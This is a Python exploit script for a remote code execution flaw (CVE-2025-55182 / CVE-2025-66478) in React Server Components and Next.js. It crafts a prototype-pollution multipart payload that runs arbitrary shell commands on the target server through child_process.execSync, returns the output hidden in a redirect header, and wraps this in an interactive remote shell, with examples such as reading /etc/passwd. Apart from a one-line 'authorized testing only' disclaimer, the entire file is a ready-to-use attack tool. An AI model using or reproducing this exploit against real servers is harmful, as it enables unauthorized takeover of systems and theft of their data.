react2shell_exploit.py

#!/usr/bin/env python3
"""
React2Shell RCE Exploit (CVE-2025-55182 / CVE-2025-66478)
Interactive shell for exploiting vulnerable React Server Components

This is a standalone script that automatically installs dependencies if needed.
No requirements.txt needed - just run it!

Usage:
    python3 react2shell_exploit.py <target_url>
    python3 react2shell_exploit.py http://172.16.238.129:3000
    python3 react2shell_exploit.py http://vulnerable-host:3000 -c "whoami"

Author: rootandbeer.com
"""

# Auto-install dependencies if needed
import sys
try:
    import requests
except ImportError:
    print("[*] Installing required dependency: requests")
    import subprocess
    try:
        subprocess.check_call([sys.executable, "-m", "pip", "install", "requests>=2.31.0", "-q"])
        import requests
        print("[+] Successfully installed requests\n")
    except Exception as e:
        print(f"[!] Failed to install requests: {e}")
        print("[!] Please install manually: pip3 install requests")
        sys.exit(1)

import argparse
import re
import urllib.parse
from typing import Optional


def create_exploit_payload(command: str, use_base64: bool = True) -> tuple[str, str]:
    """
    Create the exploit payload for React2Shell RCE
    
    Args:
        command: Shell command to execute
        use_base64: If True, base64 encode the command and output
        
    Returns:
        Tuple of (headers dict, body string)
    """
    import base64
    
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    
    if use_base64:
        # Base64 encode the command to handle multi-line and special chars
        encoded_cmd = base64.b64encode(command.encode()).decode()
        # Execute: decode base64, run via sh, encode output as base64
        shell_cmd = f"echo {encoded_cmd} | base64 -d | sh 2>&1 | base64 -w0"
        # JavaScript payload that executes the command and extracts base64 output
        js_payload = (
            f"var res=process.mainModule.require('child_process').execSync('{shell_cmd}')"
            ".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
            "{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
        )
    else:
        # Original payload without base64 (for backwards compatibility)
        js_payload = (
            f"var res=process.mainModule.require('child_process').execSync('{command}')"
            ".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
            "{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
        )
    
    # Construct multipart form data body
    body = f"""--{boundary}\r
Content-Disposition: form-data; name="0"\r
\r
{{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{{\\"then\\":\\"$B1337\\"}}",
  "_response": {{
    "_prefix": "{js_payload}",
    "_chunks": "$Q2",
    "_formData": {{
      "get": "$1:constructor:constructor"
    }}
  }}
}}\r
--{boundary}\r
Content-Disposition: form-data; name="1"\r
\r
"$@0"\r
--{boundary}\r
Content-Disposition: form-data; name="2"\r
\r
[]\r
--{boundary}--\r
"""
    
    headers = {
        "Next-Action": "x",
        "Content-Type": f"multipart/form-data; boundary={boundary}",
    }
    
    return headers, body


def extract_command_output(response_text: str, response_headers: dict = None, is_base64: bool = True) -> Optional[str]:
    """
    Extract command output from the response redirect digest
    
    Args:
        response_text: HTTP response body
        response_headers: HTTP response headers
        is_base64: If True, decode base64 output
        
    Returns:
        Extracted command output or None
    """
    import base64
    
    # First, try to extract from x-action-redirect header (newer Next.js behavior)
    if response_headers and 'x-action-redirect' in response_headers:
        redirect_header = response_headers['x-action-redirect']
        # Pattern: /login?a=OUTPUT;push
        pattern = r'/login\?a=([^;]+);push'
        match = re.search(pattern, redirect_header)
        
        if match:
            output = match.group(1)
            # URL decode the output
            decoded = urllib.parse.unquote(output)
            
            # If base64 encoded, decode it
            if is_base64 and decoded:
                try:
                    decoded = base64.b64decode(decoded).decode('utf-8', errors='replace')
                except Exception:
                    pass  # If decode fails, return url-decoded version
            
            return decoded
    
    # Fallback: Look for the redirect digest pattern in body: NEXT_REDIRECT;push;/login?a=OUTPUT;307
    pattern = r'NEXT_REDIRECT;push;/login\?a=([^;]+);307'
    match = re.search(pattern, response_text)
    
    if match:
        output = match.group(1)
        # URL decode the output
        decoded = urllib.parse.unquote(output)
        
        # If base64 encoded, decode it
        if is_base64 and decoded:
            try:
                decoded = base64.b64decode(decoded).decode('utf-8', errors='replace')
            except Exception:
                pass  # If decode fails, return url-decoded version
        
        return decoded
    
    return None


def execute_command(target_url: str, command: str, verbose: bool = False, use_base64: bool = True) -> Optional[str]:
    """
    Execute a command on the vulnerable target
    
    Args:
        target_url: Target URL (e.g., http://172.16.238.129:3000)
        command: Shell command to execute
        verbose: Print debug information
        use_base64: If True, use base64 encoding for command and output
        
    Returns:
        Command output or None on failure
    """
    headers, body = create_exploit_payload(command, use_base64=use_base64)
    
    if verbose:
        print(f"[*] Sending payload to {target_url}")
        print(f"[*] Command: {command}")
    
    try:
        response = requests.post(
            target_url,
            headers=headers,
            data=body,
            timeout=10,
            allow_redirects=False
        )
        
        if verbose:
            print(f"[*] HTTP Status: {response.status_code}")
            print(f"[*] Response length: {len(response.text)}")
        
        # Extract output from the response (check headers first, then body)
        output = extract_command_output(response.text, dict(response.headers), is_base64=use_base64)
        
        if output:
            return output
        else:
            if verbose:
                print("[!] Could not extract command output from response")
                print(f"[*] Response preview: {response.text[:500]}")
            return None
            
    except requests.exceptions.ConnectionError:
        print(f"[!] Connection error: Could not connect to {target_url}")
        return None
    except requests.exceptions.Timeout:
        print(f"[!] Timeout: Target did not respond within 10 seconds")
        return None
    except Exception as e:
        print(f"[!] Error: {e}")
        if verbose:
            import traceback
            traceback.print_exc()
        return None


def interactive_shell(target_url: str, verbose: bool = False):
    """
    Start an interactive shell session
    
    Args:
        target_url: Target URL
        verbose: Print debug information
    """
    print(f"[*] React2Shell Interactive Shell")
    print(f"[*] Target: {target_url}")
    print(f"[*] Type 'exit' or 'quit' to close the shell\n")
    
    # Test connection with a simple command
    print("[*] Testing connection...")
    test_output = execute_command(target_url, "echo 'Connection successful'", verbose)
    
    if test_output and "Connection successful" in test_output:
        print("[+] Connection successful!\n")
    else:
        print("[!] Warning: Could not verify connection. The target may not be vulnerable.\n")
    
    # Track current working directory
    current_dir = None
    
    while True:
        try:
            # Prompt for command (show current directory if known)
            prompt = f"react2shell:{current_dir if current_dir else '~'}> " if current_dir else "react2shell> "
            command = input(prompt).strip()
            
            if not command:
                continue
            
            if command.lower() in ['exit', 'quit']:
                print("[*] Exiting shell...")
                break
            
            # Handle cd command specially
            if command.startswith('cd '):
                target_path = command[3:].strip()
                
                # If target path is provided
                if target_path:
                    # Test if the directory exists and change to it
                    if target_path == '~' or target_path == '':
                        # Go to home directory
                        test_cmd = "cd ~ && pwd"
                    else:
                        # Go to specified directory
                        if current_dir:
                            test_cmd = f"cd {current_dir} && cd {target_path} && pwd"
                        else:
                            test_cmd = f"cd {target_path} && pwd"
                    
                    output = execute_command(target_url, test_cmd, verbose)
                    
                    if output and output.strip():
                        current_dir = output.strip()
                        # Don't print output for successful cd
                    else:
                        print("[!] Directory change failed or directory does not exist")
                else:
                    # cd with no argument goes to home
                    output = execute_command(target_url, "cd ~ && pwd", verbose)
                    if output and output.strip():
                        current_dir = output.strip()
                continue
            
            # For other commands, prepend cd to current directory if set
            if current_dir:
                full_command = f"cd {current_dir} && {command}"
            else:
                full_command = command
            
            # Execute the command
            output = execute_command(target_url, full_command, verbose)
            
            if output:
                print(output)
            else:
                print("[!] No output received or command failed")
                
        except KeyboardInterrupt:
            print("\n[*] Interrupted. Use 'exit' to quit.")
            continue
        except EOFError:
            print("\n[*] EOF detected. Exiting...")
            break


def main():
    parser = argparse.ArgumentParser(
        description="React2Shell RCE Exploit - Interactive shell for CVE-2025-55182/CVE-2025-66478",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 react2shell_exploit.py http://172.16.238.129:3000
  python3 react2shell_exploit.py http://vulnerable-host:3000 -c "whoami"
  python3 react2shell_exploit.py http://vulnerable-host:3000 -c "cat /etc/passwd" -v

For educational and authorized testing purposes only.
        """
    )
    
    parser.add_argument(
        "target",
        help="Target URL (e.g., http://172.16.238.129:3000)"
    )
    
    parser.add_argument(
        "-c", "--command",
        help="Execute a single command and exit",
        metavar="CMD"
    )
    
    parser.add_argument(
        "-v", "--verbose",
        action="store_true",
        help="Enable verbose output"
    )
    
    args = parser.parse_args()
    
    # Normalize target URL
    target_url = args.target
    if not target_url.startswith(('http://', 'https://')):
        target_url = f"http://{target_url}"
    
    # Remove trailing slash
    target_url = target_url.rstrip('/')
    
    print("[*] React2Shell RCE Exploit")
    print("[*] CVE-2025-55182 / CVE-2025-66478")
    print("[*] https://www.rootandbeer.com\n")
    
    if args.command:
        # Single command mode
        if args.verbose:
            print(f"[*] Single command mode")
        output = execute_command(target_url, args.command, args.verbose)
        if output:
            print(output)
        else:
            print("[!] Command failed or no output received")
            sys.exit(1)
    else:
        # Interactive shell mode
        interactive_shell(target_url, args.verbose)


if __name__ == "__main__":
    main()